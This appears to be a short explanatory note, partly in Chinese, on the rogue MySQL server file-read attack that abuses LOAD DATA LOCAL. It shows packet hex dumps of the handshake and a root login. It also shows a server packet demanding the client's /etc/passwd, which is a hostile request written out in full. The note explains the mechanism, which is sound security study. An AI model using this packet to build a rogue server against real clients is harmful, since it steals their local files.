1. S➡C Server Greeting
2. C➡S Login Request
3. S➡C Response OK
4. C➡SRequst Query
5. S➡CRespose

0000   4a 00 00 00 0a 35 2e 35 2e 35 33 00 05 00 00 00   J....5.5.53.....
0010   31 47 50 3d 22 31 6e 58 00 ff f7 21 02 00 0f 80   1GP="1nX...!....
0020   15 00 00 00 00 00 00 00 00 00 00 4d 5b 5e 48 2e   ...........M[^H.
0030   49 67 4b 7e 5a 27 52 00 6d 79 73 71 6c 5f 6e 61   IgK~Z'R.mysql_na
0040   74 69 76 65 5f 70 61 73 73 77 6f 72 64 00         tive_password.


0000   50 00 00 01 *85* a6 ff 20 00 00 00 01 21 00 00 00   P...... ....!...
0010   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0020   00 00 00 00 72 6f 6f 74 00 14 2c 32 07 d2 b5 a0   ....root..,2....
0030   ff d5 6b 26 1f 09 83 5c 0e 4e 42 e5 da ce 6d 79   ..k&...\.NB...my
0040   73 71 6c 5f 6e 61 74 69 76 65 5f 70 61 73 73 77   sql_native_passw
0050   6f 72 64 00                                       ord.


0000   07 00 00 02 00 00 00 02 00 00 00                  ...........


0000   0c 00 00 01 fb 2f 65 74 63 2f 70 61 73 73 77 64   ...../etc/passwd


In theory, a patched server could be built that would tell the client program to transfer a file of the server’s choosing rather than the file named by the client in the LOAD DATA statement

• 客户端：hi~ 我将把我的 AAA文件给你插入到 test 表中！
• 服务端：OK，读取你本地的 BBB文件并发给我！
• 客户端：这是文件内容：balabal（BBB文件的内容）！